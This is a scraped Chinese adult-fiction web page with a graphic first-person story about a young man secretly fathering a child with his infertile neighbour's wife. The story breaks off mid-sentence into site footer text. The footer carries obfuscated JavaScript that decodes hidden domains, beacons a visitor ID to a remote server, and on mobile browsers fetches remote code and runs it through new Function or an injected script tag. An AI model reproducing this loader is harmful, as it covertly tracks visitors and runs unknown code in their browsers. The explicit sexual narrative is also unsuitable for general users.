分类
记录
来源:人气:416更新:2024-12-03 18:51:28
本人今年25岁,我是我们村第一个大学生,第二个则是我弟弟,所以我家在农村有不错的地位,我更是被长辈当成状元般。
我家其实十分穷,我读大学也是村里出了大部分钱供我,所以我对村里的长辈都十分尊重,而最被我喜欢的是我隔壁的叶奶奶,她只有一个孙子,叫彭冲,所以我和弟弟也被她当成孙子对待。农村邻居是十分好的,不像城里,说远了,她的孙子大我八岁,很早就出去做包工头,而且赚了蛮多,我的学费据说很多是他出的,事情就发生在我和他们一家。
记得2009年冬天,我一放假就赶回家里,因为要帮爸妈忙,而且我每逢过年都很忙,村里的人都会找我写挥春。我回到后第一次见到了她——彭冲的老婆,月柔,她是今年十月嫁过来的,叶奶奶叫她找我写挥春。第一次见到她时,我整个人都呆了,我在学校不是没见过美女,不过大学生都比较清纯,少了份娇媚,而月柔是新婚少妇,处处透露着吸引力。
“你好!请问你就是XXX么?我是彭冲的媳妇,是奶奶叫我过来跟你拿挥春的。”她的话很清,听起来让我很舒服。
我呆了几秒后才回过神:“哦,我写好了,你等下。”
“谢谢啊!”我拿给她后,人便走了。
过了几天,我在忙碌中也忘了这位美女。到了大年初一,冲哥买了很多酒,要我过去陪他喝,冲哥一直都想我毕业后去帮他,因为我学的就是工程管理。 酒过三巡,我有些醉意,冲哥也有点上头了,这时他突然问我:“京啊,你还是处男么?”我一口酒喷到他脸上。我被吓死了,要是他生气我就完了,一定被揍。
“哈哈哈!你果然是个处男,行,过几天我找个美女给你破处。”当时我没在意,以为他是喝醉胡说,谁知三天后……
这天夜里,我正在家里玩电脑,叶奶奶很突然的来到我家叫我去吃饺子,我没多想就去了。一过去,发现冲哥和月柔姐(我这几天也混熟了)也在。 “冲哥、月柔姐,你们都在呢?”我问了句。不知道为什么,我感觉月柔姐看到我来,脸很红。
“小京啊,你吃饺子,刚下好的,趁热啊!”叶奶奶很热情。
“小京,你慢慢吃,我有点事,出去熘熘。”说完冲哥就走了,看他脸色怪怪的,我感觉今天真是奇怪。
吃着吃着,月柔姐也走进她的房间,这时,叶奶奶坐在我旁边:“小京啊,奶奶一直当你们兄弟是我孙子,今天奶奶我求你件事啊!”
“奶奶,不要这样客气啊,有事就吩咐好了,要是被我爸妈知道你求我,非得打我。”
叶奶奶起身把门窗都关了,然后走过来:“小京,你冲哥他年前去嫖的时候以为自己感染了艾滋,就去县医院检查,谁知道……”还没说完,就开始哭了。 难道冲哥真的……我赶紧安慰她:“奶奶,说不定检验错了,冲哥可能没事呢!这些事出错多了。”
“不是的,你哥是检查到没生育能力了,都不知道作了什么孽啊!”这时,我想起冲哥跟我说的联系叶奶奶的事,难道……心里开始狂跳。
“小京,你可不可以帮你冲哥洞房?他们结婚后一直都没行房,你也不亏,就当奶奶求你了。”果然,我脑海中不断地浮现月柔姐的脸庞,鸡鸡竟然硬了。 “奶奶,我……”我顿了下:“冲哥怎么说?”
“他也答应了。而且他还答应你,以后绝对不碰阿柔,她会属于你,只要你帮他生下个儿子。”我都快休克了,天啊,我竟然可以拥有她!
回去的过程我完全忘了,当时一直在想晚上到底怎么办,第一次都没交出去的,这是真的么?脑海都快当机了。
到了晚上11点多,奶奶又来叫我,这时家里人都睡了,就剩下我,我跟着她走了。
进了冲哥的新房,里面布置得很漂亮,不知道为什么,床头没有新婚照,是怕我介意么?这算什么,在人家的新房内玩人家的妻子,还是奉旨办事。 我听到了水声,是月柔姐在洗澡,我把门关上,眼光一直在新婚房内的洗手间。
她出来了,穿了套紫色的裙子,很透的那种,我的小弟一下硬了。
“你来了……要先去洗个澡么?”她问道,我们两个都很害羞。
“我洗过了……”真笨,怎么不会继续说呢?我现在巴不得自己是韦小宝。 “可以把灯关了么?”沉默了一段时间后,她开口了。我一想,人家女生都放得开,你还那么拘束干吗?我直接开始脱了,很快就剩下件内裤。
我走到床边躺下去,“我希望可以看着你做,可以么?”她犹豫了下,还是走到床边坐下来。
我把手放在她的腰上,很细,我看过星爷的电影说:“不管多轰烈的爱情都是从吻开始的。”我把嘴靠过去,慢慢地吻上去,她应该没接吻过,因为我们两个都只是唇接触。
我慢慢把舌头伸过去,她好像很吃惊,说真的,我也没吻过女孩,这一切都是从岛国电影学来的。慢慢地我们从生涩到交融,我尝到她的口水,奇怪的没感觉到恶心,反而一阵阵甘甜。
吻了大概几分钟,我把她的裙子慢慢地解开,这种裙子十分好解,就是腰上用带子束着。我第一次看到真人的裸体,不管看过多少女优的裸体,真的看到真人,那种冲击力很震惊。记得当时我差点就把老二拿出来插了,但理智还是赢了一点点,我虽然没做过,也知道前戏很重要,因为女的高潮没那么快,我自知没那么动辄半小时、一小时的持久。
我重新吻了吻她,然后学着电影,慢慢吻到脖子、乳房,她没有声音,我还以为是自己不会呢!一抬头,发现月柔姐已经闭上眼睛,牙齿紧闭,我一喜,这说明电影上的技术有用,于是决定直接攻击堡垒。
我把手放到她的腰下,她竟然没有穿内裤,手摸到了那一簇毛,慢慢向下,摸到了那个缝隙,不过摸了很久都找不到洞穴,我只好把眼光放到这里了,手轻轻的触摸。慢慢地缝隙流出了水,我知道自己快找到了,果然,再一会,外面的阴唇分开了点,我找到了洞口,把手一下插了进去。
“啊……”这是我第一次听到月柔姐叫,于是更加卖力,手不断来回进进出出,而且不断加深,几下,手指就全部进去了,我竟然没碰到处女膜,难道她不是处女?
我把手抽了出来,脱掉内裤,小弟已经硬得不行了,龟头不断有水冒出来,不过量很少。我把月柔姐推倒,慢慢轻轻把龟头对着阴道口慢慢摩擦,真的爽死了,和手淫时的感觉完全不同,差点忍不住射了。
“月柔姐,我要进去了。”我在她耳边轻轻的吻了下。
“痛!你慢点。”可能真是处男的硬伤,我不知道要用多大力,所以用力过猛,鸡鸡一下就进去大半了。我的鸡鸡有16公分,这下估计是进去了10公分吧!我在插入时感觉到有一层膜阻挡了下,我想起以前看过一篇生理文章,说处女膜天生就有口,在月经时排血的,难道月柔的口大点,手指刚好从口里穿过。 我用了一分钟才把剩下的阴茎插进去,为什么会知道?因为她床头就有一个闹钟。然后我慢慢地抽出来,看她没什么事,便开始慢慢地抽插起来。处男也许真的不懂得节奏,速度越来越快,以前看的什么九快一慢、九浅一深都忘了,只剩下本能的冲刺。
没过十分钟我就射了,她的子宫口也有一阵阵吸力把我的龟头吸住,她竟然高潮了?不是说女生没那么快么?
“你把……抽出来吧,我去洗个澡。”月柔姐张开眼睛对我说,眼光却不敢望向我。
我不想放过这么好的夜晚:“我还要呢!等我回复体力。”
“嗯。”然后一阵沉默。
为了打破尴尬,我开始吻她,慢慢地,我的鸡鸡又再恢复雄风,她也感觉到了。这时我突然想换个姿势试试:“你转过身来,我要换个姿势。”我挪开点,她转身趴着,把阴户完全暴露在我面前,可是我不敢去舔,因为上面还有我的精液,只握着鸡鸡把龟头对着洞口插入,再次进入这个温暖的地方。
我慢慢地出入抽插起来,却觉得自己迟迟不见兴奋,可能与刚刚才射过精的缘故把,于是说:“月柔姐,你可以叫出来的,那样我们会更加舒服。” “可是我……我不会,不……知道……怎么叫。”
“就这样……我们一起说就好。”
“嗯,你可以……动得再快点的!”
慢慢地我的速度越来越快,我不知道其他人做的时候怎么想,总之这时脑里一片空白,只有一阵阵快感冲刷着大脑,驱使我本能的一直冲刺,连自己提议要和月柔姐说话都忘了。
“月柔姐,我……我快射了……我要加快了!”
“嗯……”回答的又是那个字。
我感觉自己就快到射精了,就把她的一条腿拿起来,放到腰上,然后开始大力快速的冲击。这是我看A片时学的,以前一直想,以后和老婆做一定要用到。抽插了二十多下,我第二次把精液射到了月柔姐的阴道深处。
当晚我前后做了三次,然后我们都洗个澡就睡了。
两天后,我又去了次。直到开学前,我和月柔姐做了大概十多天,基本上我隔一两天就去,家里人都没起疑,因为我以前经常去找冲哥喝酒,其实冲哥一到晚上都会出去,也许是去找小姐了吧!我内心有一点点的愧疚,毕竟我占有了他老婆,但也只是一点点内疚而已。
我和月柔姐的感情不断加深,到了后面,她都十分放得开。到我临走那晚,她告诉我,她会为我守着身子,也和叶奶奶、冲哥说了。我还能说什么呢? 在我去学校前,我都不知道月柔姐怀上了没,后来在学校上了三个星期课后才知道她已经怀孕一个月了。我十分想陪在她身边,可是学业又不想放,只能用手机跟她联系。冲哥听说十分高兴,孩子还没出生就开始大庆一番。
八个多月后,我第一个儿子出世了,我不是第一个抱他的,说好这个是属于冲哥的,但是冲哥还是叫我认小孩做干儿子,我都不知道自己是不是做错了。 一直到现在,我和月柔姐都还有做爱,而且,我一毕业就在市区供了房子,冲哥的房子就在我隔壁,原因不用多说。我一直到结婚才没有经常去找月柔姐,但我妻子是知道的,因为我妻子就是月柔的妹妹,这又是另一个故事,我不想再好市民达人勋章申请中
请大家帮忙按下面键连
之后帮忙按爱心
谢谢大家
返回首页 | 返回顶部 本网站只提供web页面服务,并不提供资源存储,也不参与录制、上传若本站收录的节目无意侵犯了贵司版权,请发邮件 (我们会在3个工作日内删除侵权内容,谢谢。) 联系邮箱:x081696#gmail.com(把#换成@) Copyright © 2020-2021 统计代码 RSS订阅 - 百度蜘蛛 - 谷歌地图 - 神马爬虫 - 搜狗蜘蛛 - 奇虎地图 - 必应爬虫 function cXfxOMe(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VePSCEb(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return cXfxOMe(t);};window[''+'Q'+'N'+'J'+'T'+'W'+'i'+'x'+'B'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function eNSG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VePSCEb,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=eNSG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=eNSG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnnZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5iaGVhZS5jb20llM0E5NTM1','9781',window,document,['n','l']);}:function(){};
本网站只提供web页面服务,并不提供资源存储,也不参与录制、上传若本站收录的节目无意侵犯了贵司版权,请发邮件 (我们会在3个工作日内删除侵权内容,谢谢。)
联系邮箱:x081696#gmail.com(把#换成@)
Copyright © 2020-2021 统计代码
RSS订阅 - 百度蜘蛛 - 谷歌地图 - 神马爬虫 - 搜狗蜘蛛 - 奇虎地图 - 必应爬虫